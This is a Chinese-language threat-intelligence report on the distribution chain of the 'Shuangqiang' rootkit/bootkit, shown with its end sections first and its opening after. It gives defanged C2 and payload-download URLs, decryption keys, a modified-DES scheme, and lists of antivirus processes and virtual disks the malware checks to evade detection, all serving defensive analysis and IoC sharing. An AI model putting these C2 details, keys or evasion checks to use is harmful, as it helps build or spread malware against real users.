##Shttp://imgsrc.baidu.com/tieba/pic/item/b3119313b07eca80b34b88e19c2397dda144836e.jpg##5899A9DB3276632334956CC8738D47579/no008/File/T0083.dat
##Shttp://imgsrc.baidu.com/tieba/pic/item/55e736d12f2eb9386971cbf4d8628535e5dd6f9c.jpg##5076EE8464792AE80475EDB129050C27B/no008/File/T0086.dat
##Shttp://imgsrc.baidu.com/tieba/pic/item/a6efce1b9d16fdfa517077e8b98f8c5494ee7b9c.jpg##52AF4784BC73BEEBFEE49B9A3F2D048EF/no008/File/A0083.dat
##Shttp://imgsrc.baidu.com/tieba/pic/item/f11f3a292df5e0fe9e513807516034a85edf726e.jpg##554900D4ACCE5A202F14C225A82E870D0/no008/File/A0086.dat
##Shttp://imgsrc.baidu.com/tieba/pic/item/eaf81a4c510fd9f96a6de46f282dd42a2834a4ba.jpg##:DDE1426369397CC5FECF00CBD3507504/no008/no00a/ConfigNew.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/55e736d12f2eb9386917cbf4d8628535e5dd6fba.jpg##<EC0E4BED4EEDAA41D8D300261947FF1C/no008/no00a/ConfigNew.txt01
##Shttp://imgsrc.baidu.com/tieba/pic/item/cdbf6c81800a19d8a77635033efa828ba61e46ba.jpg##<E056E65F2E6C5A389FFE9E29D15F4DC9/no008/no00a/ConfigNew.txt02
##Shttp://imgsrc.baidu.com/tieba/pic/item/d6ca7bcb0a46f21f0d2bef55fb246b600c33ae9d.jpg##<39CAE786DA64D1FC4A39684D58DBB05F/no008/no00a/ConfigNew.txt03
##Shttp://imgsrc.baidu.com/tieba/pic/item/7a899e510fb30f2414ef5d05c595d143ad4b03ba.jpg##<0B3381CF39CDC128C236A360BAF5C2A8/no008/no00a/ConfigNew.txt04
##Shttp://imgsrc.baidu.com/tieba/pic/item/b21bb051f81986184d685e8247ed2e738bd4e68d.jpg##<1D660AE25855D011C1A6822C84E592EB/no008/no00a/ConfigNew.txt05
##Shttp://imgsrc.baidu.com/tieba/pic/item/b7003af33a87e950f8a9426a1d385343fbf2b47e.jpg##:32EB3529A1119BD3D5B46F3D9708BF00/no008/no00a/ConfigAll.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/2fdda3cc7cd98d10e89dbd372c3fb80e7bec906f.jpg##:51214C7E01D4A5C19E4E599C5051D4DE/no008/no00b/ConfigNew.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/f9198618367adab437a5aa4586d4b31c8701e4bb.jpg##:AA9FDA3F42FAF0E07F1E19D921CC1F72/no008/no00b/ConfigAll.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/cf1b9d16fdfaaf510caa30b9815494eef01f7a6f.jpg##:A58028489E70188D6C7EB5D519AFA1F1/no008/no00c/ConfigNew.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/9a504fc2d5628535135e63279def76c6a7ef637e.jpg##:B54A6B1C114BF66E2FE6C2E075C75BCB/no008/no00c/ConfigAll.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/b03533fa828ba61e885779294c34970a304e597e.jpg##:0ABCF80B7CBDA9710B577204D1ECC881/no008/no00d/ConfigNew.txt
##Shttp://imgsrc.baidu.com/tieba/pic/item/d1160924ab18972b9b72b1ccebcd7b899e510a6f.jpg##<AC67768DFBF04DF84EBEA8D48E0F912C/no008/no00d/ConfigNew.txt01
##Shttp://imgsrc.baidu.com/tieba/pic/item/aa18972bd40735fab749ffbf93510fb30f24087e.jpg##<30ABF0162AF1CD87F9862DFE6AFCE5FC/no008/no00d/ConfigNew.txt02
##Shttp://imgsrc.baidu.com/tieba/pic/item/f2deb48f8c5494eef356be1f20f5e0fe99257ebb.jpg##<ACA00521253A3C4F203F8A384EC563A2/no008/no00d/ConfigNew.txt03
##Shttp://imgsrc.baidu.com/tieba/pic/item/6f061d950a7b0208ea818ee76fd9f2d3572cc868.jpg##<C7BAAA9FF2B1296B29BA5604C43A934B/no008/no00d/ConfigNew.txt04
##Shttp://imgsrc.baidu.com/tieba/pic/item/86d6277f9e2f0708afbc9b06e424b899a901f27f.jpg##<7AA72D110655BA9153004EC9FE2D01B9/no008/no00d/ConfigNew.txt05
##Shttp://imgsrc.baidu.com/tieba/pic/item/58ee3d6d55fbb2fbe663e914424a20a44623dc68.jpg##:4691A104242EEF7E8F213BDD196E4E52/no008/no00d/ConfigAll.txt
</code></pre><p><strong>Note</strong>:</p><p>这里列出的 72 行 list 是当前最新版本。早期我们通过 <strong>default.html</strong> 响应得到的图片 URL，只有上述列表的前 42 行。</p><p>上述列表中的每行 URL 对应后面的文件名。并且部分 URI 在 <strong>kemon.sys</strong> 中硬编码存在的，但是向 C2 服务器直接请求那些 URI ，会发现都已经失效。猜测早期时可以直接向 <code><subdomain>.dztworld.com</code> 或 <code><subdomain>.minding99.com</code> 来获取到响应文件，但后来木马作者开始滥用百度贴吧的图片服务器后，这些URL被逐渐废弃了。</p><p>经过排查验证，上述列表中以 <strong>.dat</strong> 为后缀的文件，都可以直接从相应的图片文件中切出 PE 文件，均为加了 VMP 壳的 <strong>双枪</strong> 木马或游戏私服相关的恶意程序；而 <strong>ConfigXXX.txt</strong> 文件，则是与其相配套的配置文件，以变形 DES 解密后如下：</p><pre><code>##.gbProtectTdiflt##.1
##.gbProtectTeDrv##.1
##.gbProtectSdDrv##.1
##.tdiver##.1180531
##.GB_IS_JUMP_BACK##.0
##.GB_IS_BYPASS_SUFFIX##.1
##.ApcInjectDLL##.1
##.ApcInjectEXE##.0
##.gbCreateDesktopLnk##.0
##.gbCreateDesktopLnkNew##.0
##.G_NOT_JUMP_TIME##.0
##.G_MAX_JUMP_TIMES##.100
##.G_NEED_CREATE_PROCESS_HOST##.ba.dztworld.com:12337
##.G_NEED_CREATE_PROCESS_PORT##.12337
##.G_B_MONITOR_PAGE_ACTION##.1
##.PatchCode_TE_Amd64##
.##.PatchCode_TE_X86##
.##.PatchCode_TDI_Amd64##
.##.PatchCode_TDI_X86##
</code></pre><p>至此，从 15.exe 开始到现在，终于明确了这一系列操作的最终目的：传播双枪木马和游戏私服相关的恶意程序。</p><p>接下来就是执行从百度图片服务器上下载到的恶意程序。据以往分析，双枪以锁主页带流量为主，游戏私服则主要是传奇的私服。</p><h2 id="3-des-"><strong>3. 变形 DES 加/解密算法</strong></h2><p>前文多次提到，双枪传播过程中的各个阶段都有用到木马开发者自己编写的变形 DES 加/解密算法。由于该算法的存在，导致加密数据不能由 DES 的开源实现直接解密，必须动态调试，或者根据逆向分析自己实现这一套变形 DES 加/解密算法，才能顺利解密该团伙加密的数据。</p><p>经过分析，该变形 DES 算法改动了开源 DES 加/解密过程中用到的几个转换向量，而没有改动体积最大的 <a href="https://en.wikipedia.org/wiki/S-box"><strong>S_Box</strong></a> 。为了直观展示该 DES 算法对开源 DES 实现中的转换向量的改动，我们以知名开源 C++ 加密库 <a href="https://github.com/weidai11/cryptopp">CryptoCPP</a> 作对比来详细分析。各个改动的转换向量如下(左为CryptoCPP 的实现，右为木马中的实现)：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/12/des__ip_table.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/12/des__p_table.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/12/des__pc2_table.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/12/des__fp_table.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/12/des__e_table.png" class="kg-image" alt loading="lazy"></figure><h2 id="4-"><strong>4. 盗用数字签名</strong></h2><p>母体木马文件 <strong>cfe79da256441e45195d6f47049cb2a8</strong> 盗用了 <strong>Beijing Founder Apabi Technology Limited</strong>(北京方正阿帕比技术有限公司) 的数字签名。该数字签名在我们分析此样本的时候还是有效状态，目前已被吊销： </p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/12/sign_15_jpg.png" class="kg-image" alt loading="lazy"></figure><h2 id="5-"><strong>5. 参考资料：</strong></h2><ol><li><a href="https://www.freebuf.com/articles/web/140113.html">https://www.freebuf.com/articles/web/140113.html</a></li><li><a href="https://www.freebuf.com/articles/web/167776.html">https://www.freebuf.com/articles/web/167776.html</a></li><li><a href="https://www.freebuf.com/articles/system/168789.html">https://www.freebuf.com/articles/system/168789.html</a></li><li><a href="https://www.freebuf.com/articles/system/175507.html">https://www.freebuf.com/articles/system/175507.html</a></li><li><a href="http://www.360.cn/n/10439.html">http://www.360.cn/n/10439.html</a></li><li><a href="https://www.freebuf.com/column/187317.html">https://www.freebuf.com/column/187317.html</a></li><li><a href="https://mp.weixin.qq.com/s/sTN7r5hnluAzs5sNyMaRjA">https://mp.weixin.qq.com/s/sTN7r5hnluAzs5sNyMaRjA</a></li></ol><h2 id="6-iocs"><strong>6. IoCs</strong></h2><h3 id="domain-"><strong>Domain:</strong></h3><pre><code>ua[.]dztworld.com
ub[.]dztworld.com
uc[.]dztworld.com
ua[.]minding99.com
ub[.]minding99.com
uc[.]minding99.com
white[.]shougouji.top
white[.]gogo23424.com
www[.]src135.com
www[.]x15222.com
</code></pre><h3 id="ip-"><strong>IP:</strong></h3><pre><code>125.77.29.26
125.77.29.205
</code></pre><h3 id="url-"><strong>URL:</strong></h3><pre><code>hxxp://42.51.44.167/api/api
hxxp://42.51.44.215/api/api
hxxp://42.51.32.166/api/api
hxxp://42.51.42.106/api/api
hxxp://42.51.44.168/api/api
hxxp://42.51.39.60/api/api
hxxp://42.51.39.208/api/api
hxxp://42.51.33.3/api/api
hxxp://42.51.32.20/api/api
</code></pre><h3 id="md5-"><strong>MD5:</strong></h3><pre><code>94191b6c57b185289b2eb83108d076e4 --> update.txt
3f5473826dcef015dc06b83767744ea0 --> update.txt
cfe79da256441e45195d6f47049cb2a8
d5f6d28be828225cc429589ec6fa2409 --> aa.exe
e86a9f5819582493837850a25c28915e --> cj.exe
e88b1d3c9bfb95d02e8dcd9931cfe99e --> tgp.exe
99d94b61a04a19e74bb5b84c1e75e451 --> 15.exe
b001c32571dd72dc28fd4dba20027a88 --> kemon.sys
------------------------------------
Part of image files from imgsrc.baidu.com:
------------------------------------
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908790c5e0064f0a081965c32de4c6e5 562c11dfa9ec8a137a506533fd03918fa1ecc09e.jpg
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52052a9e4cc1e85f9c1589b59460141e d8f9d72a6059252d1425ac02399b033b5bb5b982.jpg
78d41ff236a815bcac9730a79827fd30 dc54564e9258d109fb9acc87dc58ccbf6c814d8d.jpg
c295f2dbf0bd15dac0e902fc4798e108 e4dde71190ef76c6a9c7be069016fdfaaf516781.jpg
f457c126893a1a7376be86eeaf28622d e850352ac65c103883337fc4bf119313b07e8963.jpg
f457c126893a1a7376be86eeaf28622d f11f3a292df5e0fe9e513807516034a85edf726e.jpg
5ccd23d40e3874028c00dae5717f57ba f31fbe096b63f624dd1088058a44ebf81a4ca363.jpg
fd115d376a5ff3ba87dfeb16cbc1772a f603918fa0ec08fa8256769254ee3d6d55fbdab5.jpg
bd26d5a845790c0fe43dc8bad1040f2c fcfaaf51f3deb48f8d4b10d8fd1f3a292df57891.jpg </code></pre> | 1. 引述
2018.12.23 日，我们的 DNSMon 系统监测到以下三个异常的域名，经过研判这些域名属于 双枪 木马的网络基础设施。考虑到这些域名仅在最近才注册并启用，我们认为双枪木马近期在更新其基础设施，建议安全社区加以关注。
white[.]gogo23424.com
www[.]src135.com
www[.]x15222.com
双枪 木马是目前我们见过的最复杂的恶意程序之一，最早由 360 安全卫士团队披露，并对其木马工作原理做了详细的技术分析。双枪木马本身集 Rootkit 和 Bootkit(同时感染 MBR 和 VBR)于一身，还有诸多对抗措施。除此之外，双枪木马恶意活动相关的网络基础设施十分庞杂，感染路径繁琐、传播手段多样，涉及的黑灰产业务种类也五花八门。
之前对双枪木马的公开披露内容主要涉及双枪木马本身的工作原理、涉及的黑灰产业务以及部分溯源。对其传播过程的技术细节少有涉及。在双枪木马多种多样的传播方式中，按照我们的统计，与本次更新相关的这种传播方式是感染范围比较大的，并且之前未见披露。本文将着重分析本次双枪木马更新其网络基础设施的情况，以及相应的木马传播技术细节。
1.1 域名
通过分析上述 3 个域名的 IP 解析情况，我们发现 white[.]gogo23424.com 与以前用来传播双枪木马的恶意域名 white.shougouji.top 之间存在直接关联：
根据我们的 PassiveDNS 数据，可以看出这 3 个异常域名的解析时间分别如下：
对应的注册时间信息分别如下表所示：
值得注意这些域名的注册和解析时间都发生在近期，例如 www[.]src135.com 和 www[.]x15222.com ；而 white[.]gogo23424.com 虽然注册信息早在今年 5 月底，但是实际提供域名解析也是发生在近期。
1.2 样本
近期这些域名上的恶意代码，正在被大量下载。这些恶意代码的URL和 md5sum 如下：
hxxp://www.src135.com:802/update.txt
- MD5: 94191b6c57b185289b2eb83108d076e4
hxxp://www.x15222.com:8002/update.txt
- MD5: 3f5473826dcef015dc06b83767744ea0
虽然下载上述两个 URL 看似得到两个后缀为 .txt 的文件，但其实这是两个不同的 JPG 图片，并且在不同的文件偏移处嵌入了 PE 文件。这两个PE文件，经过分析认定，实际为两个功能相近的 DLL 文件：
* 有相同的导出函数 update() ；
* 有类似的执行流程，并且会向发出部分相同的网络请求。
执行两个 DLL 文件，从抓包中可以观察到它们的网络行为序列分别如下：
可以看出：
* 两个 DLL 文件执行的过程中都会先请求访问域名 white.xxx.xxx ；
* 然后再向百度贴吧图片服务器请求两个图片 ；
* 最后再向 white.xxx.xxx 发出一个 POST 请求。
1.3 上述新的恶意域名可以确认属于双枪木马的网络基础结构
根据我们以前对双枪木马部分传播流程的分析，我们认定这是双枪木马典型传播流程中的一个环节，这是因为新域名的网络行为与 双枪 木马有以下关联或者类似点：
* 域名解析有直接关联：如前所述，IP 125.77.29.26 上同时提供了新旧恶意域名的解析
* white[.]gogo23424.com 与 white.shougouji.top 子域名相同，都是 white；
* 两个域名上的下载URL中的URI部分，也遵循了类似的命名规则( stat1.ashx / stat2.ashx / stat4.ashx )；
* 都将恶意 PE 文件嵌入到图片文件中；
* 都滥用了百度贴吧图片服务器承载恶意代码。
结合我们对双枪木马该传播途径的分析，可以推断双枪木马背后的团伙在更新他们的网络基础设施。并且可以猜测 white[.]gogo23424.com 可能会部分替代以前的 C2 Domain white.shougouji.top ，用来承载 双枪 木马传播过程中的云端配置文件以及木马状态统计服务。这一点值得安全社区关注。
下分详细分析 双枪 木马本次更新相关的传播流程。
2.双枪木马传播流程
2.1 概述
2018 年 9 月初，我们的 DNSMon 系统监测到 *.dztworld[.]com / *.minding99[.]com / white.shougouji.top 等异常域名。通过关联分析，我们定位到了异常域名背后的一批样本，对其中的典型样本(比如 MD5: cfe79da256441e45195d6f47049cb2a8)进行深入分析发现，这是一波主要用来传播双枪木马的恶意活动。整个恶意传播活动的典型特征有以下几个：
* 多阶段样本执行，至少 4 个阶段的样本活动才最终下载到双枪木马的恶意驱动文件；
* 利用公共网络服务(比如百度贴吧图片服务器)承载云端配置文件和恶意样本；
* 对抗手段多样，检测运行环境上报云端、对抗杀软难以检测、变形 DES 加密算法对抗分析等等；
* 盗用数字签名；
* 涉及业务种类繁杂，除了传播双枪木马的恶意驱动程序，还传播游戏私服驱动，还会盗窃 Steam 账号、劫持 QQ 进行恶意推广。
2.2 母体样本
后文以 MD5 为 cfe79da256441e45195d6f47049cb2a8 的母体样本为例进行分析。母体样本会访问下面 4 个 URL，下载下一阶段要运行的恶意程序：
hxxp://69.30.193.66/aa.exe md5=d5f6d28be828225cc429589ec6fa2409
hxxp://69.30.193.66/cj.exe md5=e86a9f5819582493837850a25c28915e
hxxp://222.186.138.30:8080/tgp.exe md5=e88b1d3c9bfb95d02e8dcd9931cfe99e
hxxp://69.30.193.66/15.exe md5=99d94b61a04a19e74bb5b84c1e75e451
整体结构如下所示：
关于 cj.exe 的 Steam 盗号功能，友商的分析报告 火绒安全警报：疑似方正集团子公司签名泄露 遭黑客利用盗取Steam账号 已经分析的比较清楚。从样本的 PDB 文件路径来看，该恶意程序的功能也可窥见一斑：
关于 aa.exe / tgp.exe 的劫持 QQ 进行恶意推广功能，友商也有分析。木马会访问类似以下的接口来获取推广信息，然后呈现在受害机器上：
据我们统计分析，该团伙中类似的恶意活动中用到的类似接口，至少曾经包括以下几个：
hxxp://42.51.44.167/api/api
hxxp://42.51.44.215/api/api
hxxp://42.51.32.166/api/api
hxxp://42.51.42.106/api/api
hxxp://42.51.44.168/api/api
hxxp://42.51.39.60/api/api
hxxp://42.51.39.208/api/api
hxxp://42.51.33.3/api/api
hxxp://42.51.32.20/api/api
服务端接口返回来的 JSON 数据中的图片 URL，打开之后如下(网赚推广)：
我们的重点在最后传播双枪木马的 15.exe。
2.3 双枪传播第一阶段——15.exe
15.exe 其实是一个下载器，它会下载百度贴吧图片服务器上的被嵌入了恶意代码的图片文件，从图片文件中解析出恶意 PE 文件并执行。15.exe 的主要流程如下：
流程说明：
1. 解析得到C2 URL(后文简称 C2_stat4 )：密文字串 tjXWjFcYZBxxsY0CE2nZUpjLsVUtkFA7BNQ7UxV017ELdPXvPvQM00tSnlsDVtSA 经过 Base64+变形 DES 解密出 C2 URL hxxp://white.shougouji.top:8889/stat4.ashx ，DES Key 为 giwdyaiw；
2. 将字串 B6qXVH6POR3lH+CzEzpNX9nIpUQc29lbeeaCHg18AcE= 经过同上的解密过程，解出字串 Chinesestyleinternetmanhunt ；
3. 将步骤2中得到的 Chinesestyleinternetmanhunt 经过变形的 DES 加密后，作为 POST Data 发送到 C2_stat4 ，DES Key 为 HQDCKEY1；
4. 用变形 DES 来解密从 C2_stat4 获取到的 HTTP 响应数据，得到如下示例字符串，内含两个可以进一步下载的URL。本步骤中可能会返回不同的数据，故解出不同的字符串，用到DES Key 是HQDCKEY1：hxxp://imgsrc.baidu.com/tieba/pic/item/d788d43f8794a4c227adb80603f41bd5ad6e3914.jpg|hxxp://imgsrc.baidu.com/tieba/pic/item/a08b87d6277f9e2fa7e042251230e924b999f3c2.jpg
5. 访问步骤 4 中解密出来的两个图片 URL，从两个图片文件的偏移 0x1E30 处开始到文件末尾各自切出数据，再拼凑在一起，最后再用变形 DES 解密出一个 DLL 文件(后文简称此文件为 ReportDLL，此次解密用到的 DES Key 为 HQXCKEY7；
6. 起 3 个同样的线程，执行如下工作：在内存中解析这个 ReportDLL 文件，找到导出函数 Report() 的地址，导入 DLL 文件需要的 Import Functions，然后执行函数 DLL::Report() 。
补充说明：
* 步骤 1 / 2 中用到的 DES Key，也是经过解密得到的：用 Base64 解码字串 vGbZFzOaw4A= 得到 0xBC66D917339AC380 ；然后用变形 DES 解密上述二进制数据，才得到 giwdyaiw ，此处用到的 DES Key 为样本中硬编码的 0x0000310000004959
* 木马用 Crypt32.dll::CryptBinaryToStringA() 函数来实现 Base64 解密，但 Crypt32.dll 和 CryptBinaryToStringA 两个字串并不是硬编码在样本中，而是由 IYIJIFINIKGAFAGCIFIOIO 和 DDDSECDVDSCTDSDZEUEQEJCPEQDHEJEOEQEDDSDN 两个字符串用另外的解密算法分别解密得出，然后再用 LoadLibrary() 和 GetProcAddress() 函数得到 CryptBinaryToStringA 的函数地址，最终才会调用函数进行 Base64 解密。
* 所谓变形 DES，指的是木马作者修改了 DES 加解密用到的初始化向量中的部分字节顺序，导致按照已有的标准 DES 加解密库/程序不能直接解密，必须按照样本中的初始化向量来运算 DES 算法才可以顺利加解密。后文会详细解析该算法。
* 步骤 3/4 和步骤 5 中用到的 DES Key(HQDCKEY1 / HQXCKEY7)，也不是硬编码在样本中的，而是分别对 1ZGNGIWO 和 7ZGNG]WO 利用另外的解密算法解密得出的。
通过这一阶段的分析，据我们的初步推测，从我们最新监测到的 2 个异常域名 www[.]src135.com 和 www[.]x15222.com下载到的两个 update.txt 文件，其中嵌入的 DLL 文件，功能应该跟 15.exe 类似。
2.4 双枪传播第二阶段——ReportDLL
第一阶段中通过多重解密得到的 ReportDLL，是第二阶段的主要样本，其主要工作流程包括：
Step 1 监测本地环境、对抗杀软 ：样本会收集系统信息，包括CPUid/磁盘信息/guid/hostname/MAC地址/进程列表/UAC 级别等信息，样本会检查当前磁盘是否为虚拟磁盘、进程/服务中是否有反病毒软件。样本会将收集好的系统信息整理成JSON文件，然后用变形 DES 加密（DES Key 为HQDCKEY1 )，示例配置如下：
{
"cpuid": "2",
"disks": "San HARDDISK ATA Device",
"dllver": 20170428,
"exever": 20170807,
"guid": "{4F0C293C-C8D5-4bb2-9249-3E4057E5268B}",
"hddsn": "Sane024ebad-d59c3157",
"hostname": "HanFang-PC",
"iswin64": 0,
"macs": "A0-48-1C-9D-63-F2",
"osver": 61,
"parent": "15.exe",
"process": "[System Process]|System|smss.exe|csrss.exe|wininit.exe|winlogon.exe|services.exe|lsass.exe|lsm.exe|svchost.exe|QQ.exe|spoolsv.exe|FoxitProtect.exe|taskhost.exe|dwm.exe|explorer.exe|SearchIndexer.exe|sppsvc.exe|SogouCloud.exe|notepad.exe|calc.exe|15.exe|conhost.exe",
"sd": 0,
"srvstat": false,
"startby": 702,
"uac": 0
}
样本在这一步检查的磁盘列表如下：
Richdisk
VXPDISK
Diskless 2000/XP
MZD
NMenu
Virtual Disk
[VSCSICLN]
CGM
vDisk
ZHDisk
VxpDisk
iCafe8 SSD
Icafe8 LTA
检查的进程/服务/驱动列表如下：
360sd.exe
XxGamesFilter
GpeNetSafe
GameGuard
\\.\TeSafe
\\.\SDriver
\\.\GxWfpFlt
\\.\PowerChange
\\.\xspeed
protectdrv
KKFileMonitor
360tray.exe
QQPCTray.exe
kxetray.exe
rstray.exe
KlDiskCtl
avgntflt
Eamon
SymEvent
mferkdk
QqscfeCnotrol
样本还会检查注册表中是否有 VMware 的痕迹： SOFTWARE\\VMware, Inc.\\VMware Tools。
另外，还会单独在系统托盘区检查是否有 360安全卫士 的托盘图标。如果没能通过这些检查，样本则不会向下执行。
Step 2 上报信息、云端对抗杀软: 将变形 DES 加密过的系统信息，作为 POST Data 发送到 hxxp://white.shougouji.top:8889/stat1.ashx，接受服务端的检验。目前已知服务端如果检测到进程列表中有 wireshark 这种“危险进程”，或者 MAC 地址可疑，也或者 Disk 类型可疑，服务端就不会返回任何数据，服务器端是否存在其他检测逻辑尚不明确。安全研究人员需要在动态调试时手动修改这些数据，发送到 C2，才会成功捕获 C2返回的响应。
服务端返回的数据经过变形 DES 解密(DES Key 为 HQDCKEY1 )，是一份 JSON 格式的配置文件：
{
"TaskGroupId":33,
"TaskId":1108,
"TaskType":1,
"TaskUrls":[
"hxxp://imgsrc.baidu.com/tieba/pic/item/562c11dfa9ec8a137a506533fd03918fa1ecc09e.jpg",
"hxxp://imgsrc.baidu.com/tieba/pic/item/0d338744ebf81a4c6a8cde1add2a6059242da6a2.jpg"
],
"Interface":"DoIt",
"ExecMode":0,
"SaveMode":0,
"SavePath":"",
"SaveFileName":"",
"TaskParameter":[
{
"ParaType":0,
"Parameter":"hxxp://imgsrc.baidu.com/tieba/pic/item/c2cec3fdfc03924586e1a4228a94a4c27d1e2542.jpg|hxxp://imgsrc.baidu.com/tieba/pic/item/e4dde71190ef76c6a9c7be069016fdfaaf516781.jpg",
"FileType":2,
"SaveMode":2,
"SavePath":"C:\\Windows\\Temp",
"SaveFileName":""
}
]
}
这份配置文件也是动态变化的，分析过程中还收到过另一份配置文件，TaskUrls 配置项两个图片URL如下(其他配置项同上)：
hxxp://imgsrc.baidu.com/tieba/pic/item/3bf33a87e950352a147a920f5843fbf2b2118b9a.jpg
hxxp://imgsrc.baidu.com/tieba/pic/item/0b55b319ebc4b74532570311c4fc1e178b8215f1.jpg
Step 3 解析得到WorkDLL: 解析 Step 2 中获取到的 JSON 配置文件，访问 TaskUrls 中的 2 个图片 URL，获取图片文件，从图片偏移 0x1E30 处到文件末尾切出加密数据，拼凑一起，并用变形 DES 解密(DES Key 为 HQXCKEY7)，得到一个 DLL 文件(后文简称 WorkDll)；
对 JSON 配置中的 TaskParameter::Parameter 项里的 2 个图片 URL 做同样的操作，得到一个驱动文件(后文简称 kemon.sys)。
根据 Step 2 中的 JSON 配置文件中的 Interface 配置项(DoIt)， 找到 WorkDll 中的导出函数 DoIt() 函数地址，导入 WorkDll 导入表中的 Library，在内存中执行 WorkDll::DoIt() 函数。
Step 4 采集信息: 整理系统信息和木马运行信息，整理成 JSON 格式并以变形 DES 加密，Post 到 hxxp://white.shougouji.top:8889/stat2.ashx 。
第二阶段的 ReportDLL 明显加上了一些对抗分析的措施，在样本端和 C2 端都有检查逻辑。安全社区成员在分析时需要注意这一点。
2.5 双枪传播第三阶段——WorkDLL
WorkDll 的工作很简单：
1. 为 kemon.sys 生成 7 个随机英文字符的文件名，以 .sys 为后缀，移动到 C:\Windows\System32\inetsrv\ 目录下；
2. 为新的驱动程序注册系统服务，加载 kemon.sys 启动服务。
2.6 双枪传播第四阶段——kemon.sys
2.6.1 kemon.sys 对抗分析，安营扎寨做好准备工作
kemon.sys 功能繁杂，对抗分析手段也多种多样，比较有特色的比如：
* 所有可用字符串(上百条)都经过了自定义加密，运行之前会用两套算法分别解密其中的 ASCII 和 Unicode 密文；
* 会更新自身，每次更新还会把时间戳设置成跟 ntdll 相同；
* 注册 Boot 回调和 Shutdown 回调来进行一些初始化和隐匿工作；
* 用 CmRegisterCallBack() 方式监控注册表；
* 用 PendingFileRenameOperations 方式实现开机启动。
2.6.2 下一阶段工作——获取双枪木马及私服相关恶意程序
不过我们更关注样本的网络行为，驱动程序在做好了一系列对抗、自保措施在失陷主机安营扎寨之后，就开始了下一阶段工作。
在准备阶段，kemon.sys 解密出的上百个字符串中，有下面一系列 URL：
hxxp://ua.dztworld.com:12338
hxxp://ua.minding99.com:12338
hxxp://ub.dztworld.com:12339
hxxp://ub.minding99.com:12339
hxxp://ba.dztworld.com:12340/Default.html
hxxp://bb.dztworld.com:12340/Default.html
hxxp://bc.dztworld.com:12340/Default.html
hxxp://ba.minding99.com:12340/default.html
hxxp://bb.minding99.com:12340/default.html
hxxp://bc.minding99.com:12340/default.html
hxxp://ub.dztworld.com:12339/no008/no00a/gtmp.txt
hxxp://ub.dztworld.com:12339/no008/no00a/gtmpm.txt
hxxp://ub.dztworld.com:12339/no008/GetUrlKeyMsg.ashx
hxxp://ub.dztworld.com:12339/no008/GetMsg.ashx
hxxp://ub.dztworld.com:12339/no008/jspe.ashx
hxxp://ub.minding99.com:12339/no008/jspe.ashx
hxxp://ub.dztworld.com:12339/no008/jspl.ashx
hxxp://ub.dztworld.com:12339/no008/jspm.ashx
hxxp://ua.dztworld.com:12338/no008/File/d00831.dat
hxxp://ua.dztworld.com:12338/no008/File/a00831.dat
hxxp://ua.minding99.com:12338/no008/File/d00831.dat
hxxp://ua.minding99.com:12338/no008/File/a00831.dat
hxxp://ub.dztworld.com:12339/no008/File/dt0083.dat
hxxp://ub.dztworld.com:12339/no008/File/t0083.dat
hxxp://ub.minding99.com:12339/no008/File/dt0083.dat
hxxp://ub.minding99.com:12339/no008/File/t0083.dat
hxxp://ub.dztworld.com:12339/no008/File/ds0083.dat
hxxp://ub.dztworld.com:12339/no008/File/s0083.dat
hxxp://ub.minding99.com:12339/no008/File/ds0083.dat
hxxp://ub.minding99.com:12339/no008/File/s0083.dat
hxxp://ub.dztworld.com:12339/no008/File/da0083.dat
hxxp://ub.dztworld.com:12339/no008/File/a0083.dat
hxxp://ub.minding99.com:12339/no008/File/da0083.dat
hxxp://ub.minding99.com:12339/no008/File/a0083.dat
接下来依次访问下面的 URL，只要一个存活即可：
hxxp://ba.dztworld.com:12340/Default.html
hxxp://bb.dztworld.com:12340/Default.html
hxxp://bc.dztworld.com:12340/Default.html
hxxp://ba.minding99.com:12340/default.html
hxxp://bb.minding99.com:12340/default.html
hxxp://bc.minding99.com:12340/default.html
获取到响应，目前收集到两段不同的 default.html 的 HTTP 响应，每段响应都用 3 组连续的方括号括起来：
[[[B3652241EBE375617D4415EFDE7B894C3F5294F8D54FA6438E3686644C8D12BDB3AEF00FB23F54BF03E104A616A19EBD9942910013E4B3A196B19732E5DD5A347D4C252F9EBE3A9D0CDAE65C04CCB39066DE181712D13D7819094AF38BC17BE44387A650FD372E5B8B1093E508E4DBEEA62EDA8CE20264954E07437FC651BE98BC53A31868ECFB4B313D435772A67A420002002D4746E1480CFE839908B0A4D5412DC9A7A076F3125978AD51A34598B928CEFBF9A3E48275C82F29D020D9F9A12EC5A06DB5640943FD06608741613018F54B6E38861AFDECBF2821AD086A39CD862C20054D2895DC15134CE24F133AC5352CE1B4E0B2859A1231C4F21C5B20937418F41B6B8BEA367F614DA7F3500EDC28EC71A4570514069DEE9E4F75F2F40272D330F6A9901ADC8D42A42128514AEBD90364AB090C7721CEF77528A5CF837642AA4659F67499CEFB15BA1CE4549DC8685D4C16E9A5CC17BF5B66ECE0EF072F57DF094701DB9BAC4ED0D8708EF52E5E0E3051A62E328DB8]]]
